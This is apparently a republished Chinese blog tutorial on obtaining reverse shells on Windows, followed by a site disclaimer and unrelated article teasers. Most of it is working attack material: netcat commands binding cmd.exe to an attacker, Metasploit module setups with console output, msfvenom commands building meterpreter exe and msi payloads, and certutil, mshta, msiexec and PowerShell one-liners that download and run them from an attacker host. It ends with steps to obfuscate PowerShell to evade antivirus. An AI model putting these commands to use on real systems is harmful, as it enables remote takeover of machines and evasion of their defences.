Window下的反弹shell

news2024/11/19 8:36:06

什么是正向shell?

正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。

反向shell:被控制端主动发起连接去请求连接控制,通常被控端由于防火墙受限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

简单点理解:攻击者找受害者,主动正向,反之就是反向连接

在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。
 

NC获取反弹shell

NC正向shell

被控端

nc -lvvp 6666 -e cmd.exe

控制端

nc 被控端的地址  端口

原理:

被控端将cmd重定向到本地6666端口,控制端主动连接到6666端口,即获得shell

NC反向shell

被控端

nc 控制端IP  端口  -e cmd

控制端

nc -lvvp 端口

原理:

被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

建议端口尽量靠后,我发现这样更容易连接

Mshta.exe获取反弹shell

Mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows OS实用程序。可以运行javascript或vbscript的html文件。

HTA 简单用法

可双击运行hta应用或命令窗口mshta.exe解析执行

<script>
	hta = new ActiveXObject("WScript.Shell");
	hta.run("%windir%\\System32\\cmd.exe /c calc.exe", 0);  
	window.close();
</script>

使用msf来操作

msf6 > search hta
Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   auxiliary/scanner/http/apache_optionsbleed                2017-09-18       normal     No     Apache Optionsbleed Scanner
   1   exploit/linux/http/bludit_upload_images_exec              2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability
   2   exploit/windows/misc/hta_server                           2016-10-06       manual     No     HTA Web Server
   3   auxiliary/dos/http/hashcollision_dos                      2011-12-28       normal     No     Hashtable Collisions


msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > show options


msf6 exploit(windows/misc/hta_server) > set srvhost 192.168.222.146
srvhost => 192.168.222.146
msf6 exploit(windows/misc/hta_server) > set srvport 8899
srvport => 8899
msf6 exploit(windows/misc/hta_server) > set lport 5678
lport => 5678
msf6 exploit(windows/misc/hta_server) > exploit -j

[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.222.146:5678 
[*] Using URL: http://192.168.222.146:8899/KiwKwwCE0nyldsn.hta
[*] Server started.

将http://192.168.222.146:8899/KiwKwwCE0nyldsn.hta复制到window的cmd中执行

mshta  http://192.168.222.146:8899/KiwKwwCE0nyldsn.hta

使用Msfvenoom生成恶意HTA文件发起攻击

使用cs来生成文件

攻击 -> 生成后门 -> HTML Application -> powershell

钓鱼攻击 -> 文件下载 -> 选择生成的.hta -> 复制连接访问

Rundll32.exe反弹shell

Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中。

通过Metasploit的SMB Delivery模块发起Rundll32攻击

use exploit/windows/smb/smb_delivery

将其复制到cmd中执行,win11可能会报错,有一定的局限性

使用msfvenom生成反弹shell的dll发起Rundll32攻击

Regsvr32.exe工具

Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如注册表中的dll和Active控件。Regsvr32.exe安装在WindowsXP和Windows后续版本的%systemroot%\System32文件夹中。

语法:Regsvr32 [/s] [/u] [/i[:cmdline]] <dllname>

use exploit/multi/script/web_delivery
set srvhost  ip地址
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip地址
exploit -j

Certuil.exe工具

certutil.exe是作为证书服务的一部分安装的命令行程序。我们可以使用此工具在目标计算机中执行恶意的exe文件以获得shell

1、使用cs的文件下载

2、msfvenom

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.222.146 lport=6789 -f exe > shell.exe

执行:

certutil -urlcache -split -f http://192.168.222.146/shell.exe & shell.exe

certutil -urlcache -split -f http://192.168.222.146/shell.exe delete

certutil -urlcache -split * delete    //全部删除

Powershell.exe工具

powercat是Powershell本地后门监听和反向shell工具,也成为修改版的netcat,因为它集成支持经过编码的有效载荷。

通过web delivery反弹shell

msf > use exploit/multi/script/web_delivery 
msf exploit(web_deliver) > set target 2
msf exploit(web_deliver) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(web_deliver) > exploit -j

通过powershell启动cscript.exe

Poweshell允许客户端通过执行cscript.exe来运行wsf、js和vbscript脚本

通过powershell启动Bat文件

Powershell允许客户端执行bat文件

通过Metasploit启动msiexec攻击

Windows os安装有一个windows安装引擎,MSI包使用msiexec.exe来解释安装。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.146  LPORT=3476 -f msi > hjw2.msi

msf中的设置

msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set lhost 192.168.222.146
msf > set lport 3476
msf > exploit -j

cmd中执行 ( 存在杀软会不让你操作,会没有反应 )

msiexec /q /i http://192.168.222.146/hjw2.msi

通过Metasploit生成恶意exe文件发起攻击

msfvenom生成exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.222.146  LPORT=3476 -f exe > hjw2.exe

msf监听

powershell运行

poweshell (new-object System.Net.WebClient).DownloadFile('http://192.168.222.146/hjw.exe','hjw.exe');start hjw.exe

Powershell代码混淆

1、导入模块加载

进入invoke-Obsfuscation文件夹并打开powershell, 执行如下命令导入Invoke-Obfuscation模块

Import-Module .\Invoke-Obfuscation.psd1

加载模块

Invoke-Obfuscation

输入要加密的脚本路径

set scriptpath 脚本路径

加密脚本

输出脚本

out hjw.ps1

参考文章

PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)_Henry404s的博客-CSDN博客

FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/492252.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

短视频矩阵管理营销系统.源代码

一、短视频矩阵系统一般拥有以下几个主要功能&#xff1a; 1. 视频拍摄和剪辑功能&#xff0c;让用户轻松制作和发布短视频内容。 2. 视频分发和推广功能&#xff0c;矩阵管理发布、将制作好的短视频内容推送到各大短视频平台&#xff0c;实现效果最大化。 3. 数据监测和分析…

计算机三级嵌入式系统开发 知识点笔记

目录为搜索词&#xff0c;详情看每一节后图片 思维导图已上传&#xff0c;点击这里下载 嵌入式系统开发 全部章节图片第一章 嵌入式系统概论1.1SoCIP核 1.21.2.1ASCIIGB2312GB18030UTF8UTF16超文本字符形状两种描述方法 1.2.2数字图像 1.2.3音频 1.3传输介质分为 有线通信 和 无…

Windows下安装MySQL数据库+Navicat (从完全卸载到安装使用图文详细步骤,附安装包)

目录 第一章&#xff1a;如何完全卸载干净mysql教程&#xff08;三个步骤完全卸载&#xff09;1&#xff09;步骤一&#xff1a;卸载程序2&#xff09;步骤二&#xff1a;删除文件3&#xff09;步骤三&#xff1a;删除注册表信息 第二章&#xff1a;下载软件两种方式1&#xff…

架构师日记-深入理解软件设计模式 | 京东云技术团队

作者&#xff1a;京东零售 刘慧卿 一 设计模式与编程语言 1.1 什么是设计模式 设计模式&#xff08;Design pattern&#xff09; &#xff1a;由软件开发人员在软件开发中面临常见问题的解决方案&#xff0c;是经过长时间的试验积累总结出来的&#xff0c;它使设计更加灵活和…

MyBatis详细笔记

核心知识点 核心配置文件 映射文件概述 Dao层实现与代理开发实现 自动映射与自定义映射 参数传递与返回值 动态SQL 注解开发 缓存机制 总结 核心配置文件【mybatis-config.xml】 MyBatis 的配置文件包含了会深深影响 MyBatis 行为的设置和属性信息。 位置&#xff1a;resourc…

前端配置化表单组件设计方法 | 京东云技术团队

一、背景 前端开发中涉及表单的页面非常多&#xff0c;看似功能简单&#xff0c;开发快速&#xff0c;实则占去了很大一部分时间。当某个表单包含元素过多时还会导致html代码过多&#xff0c;vue文件过大。从而不容易查找、修改和维护。为了提高开发效率及降低维护成本&#x…

基于max30102的物联网病房监测系统(中断处理和主题逻辑)

目录 五、中断处理 六、主体框架 对采集数据的初始化 核心功能的实现 烟雾 通信帧格式 wifi接收数据的处理 OLED显示 五、中断处理 void SysTick_Handler(void) {TimingDelay_Decrement(); }void ESP8266_USART_INT_FUN(void) {uint8_t ucCh;if ( USART_GetITStatus (…

platform总线五级匹配解析

代码来源&#xff1a;开源linux内核linux-6.2.9 platform总线设备与驱动的匹配 对于device和driver无论哪个创建都会尝试主动寻找对方进行绑定&#xff0c;而platform bus总线的匹配原则如上面的代码所示&#xff0c;共有五级匹配&#xff0c;这里进行详细解析下&#xff1a; …

WRF模式

随着生态文明建设和“碳中和”战略的持续推进&#xff0c;我国及全球气候变化及应对是政府、科学界及商业界关注的焦点。气候是多个领域&#xff08;生态、水资源、风资源及碳中和等问题&#xff09;的主要驱动因素&#xff0c;合理认知气候变化有利于解释生态环境变化机理及过…

Android应用层开发学习 Framework 是必须的吗?

作为一名应用层 App 开发工程师&#xff0c;我们为什么要学习 Android Framework&#xff1f;答案很简单&#xff0c;为了不被淘汰&#xff01;在 2023 年的当下,不会点 Binder WMS AMS PMS 好像都找不到工作了&#xff0c;更过分的是应聘企业甚至希望你会点 RN Fluter 等跨平台…

元宇宙的重要底层技术

在元宇宙中&#xff0c;人们可以通过数字分身、化身&#xff08;可理解为虚拟化身&#xff09;、社交媒体化身和智能代理进行交互&#xff0c;这背后都需要底层技术支持。元宇宙的底层技术主要包括&#xff1a; VR/AR、5G/6G、区块链和人工智能。 VR/AR是元宇宙的主要交互设备…

JAVA新提案:努力简化Hello World写法

OpenJDK 的 JEP 445 提案正在努力简化 Java 的入门难度。这个提案主要是引入 “灵活的 Main 方法和匿名 Main 类” &#xff0c;希望 Java 的学习过程能更平滑&#xff0c;让学生和初学者能更好地接受 Java 。 提案的作者 Ron Pressler 解释&#xff1a;现在的 Java 语言非常适…

ES6-迭代器和生成器

一、迭代器概念 遍历器&#xff08; Iterator &#xff09;就是一种机制。它是一种接口&#xff0c;为各种不同的数据结构提 供统一的访问机制。任何数据结构只要部署 Iterator 接口&#xff0c;就可以完成遍历操作。 1) ES6 创造了一种新的遍历命令 for...of 循环&#…

虹科方案 | 助力高性能视频存储解决方案-2

上篇文章《虹科方案 | 助力高性能视频存储解决方案-1》我们分享了虹科&ATTO 和 Avid 共同创建协作解决方案&#xff0c;助力高性能视频存储&#xff0c;今天我们再深入介绍一下我们的案例详情。 一、行业挑战 从高端广播设施到小型独立工作室的媒体后期制作环境都需要允许多…

【C++】STL标准库之list

STL标准库之list list类的简介常用的list类的接口构造迭代器容量访问修改 list和vector的区别 list类的简介 list是一种序列式容器&#xff0c;可以在任意位置插入和删除元素&#xff0c;并且其时间复杂度为O(1)&#xff0c;在底层&#xff0c;list是双向链表结构&#xff0c;…

《CTFshow-Web入门》08. Web 71~80

Web 71~80 web71知识点题解 web72知识点题解 web73题解 web74题解 web75知识点题解 web76题解 web77知识点题解 web78知识点题解 web79题解 web80知识点题解 ctf - web入门 web71 知识点 ob_get_contents()&#xff1a;得到输出缓冲区的内容。ob_end_clean()&#xff1a;清除…

程序员:面试造飞机,入职拧螺丝?真难···

刚开始工作的时候&#xff0c;我也想不通这个问题&#xff0c;甚至很鄙视这种现象。后面当了面试官&#xff0c;做到了公司中层管理&#xff0c;也会站在公司以及行业角度去重新思考这个问题。 为什么这种现象会越来越普遍呢&#xff1f;尤其在 IT 行业愈加明显。 面试看的是…

树与二叉树

我们之前讲过的链表和顺序表都是线性结构的数据结构&#xff0c;那么我们肯定会想有没有一种数据结构的形式不是线性结构而是其他的形式呢&#xff1f;今天我们就来学习一种新的数据结构——树形结构。 &#x1f335;初识树形结构 树形结构就是像我们上面的图形一样。因为像是…

Java从入门到转行

Java开发从入门到转行 Java基本介绍Java学习路线Java学习须知Java学习文档Java SEJava 对象与类Java 基本数据类型Java 变量类型Java 修饰符Java 运算符Java 循环结构Java 条件语句Java switch caseJava 数组Java 日期与时间Java 正则表达式Java 方法Java 流(Stream)、 File、 …

A Restful API

SpringBoot 定义Restful API 定义POJOOrderBuyer 定义RestfulControllerGet API for queryPost API for addPut API for updateDelete API for delete 定义AjaxResponse Patavariable RequestParm RequestBodyRequestHeader 定义POJO Order import java.util.Date; import ja…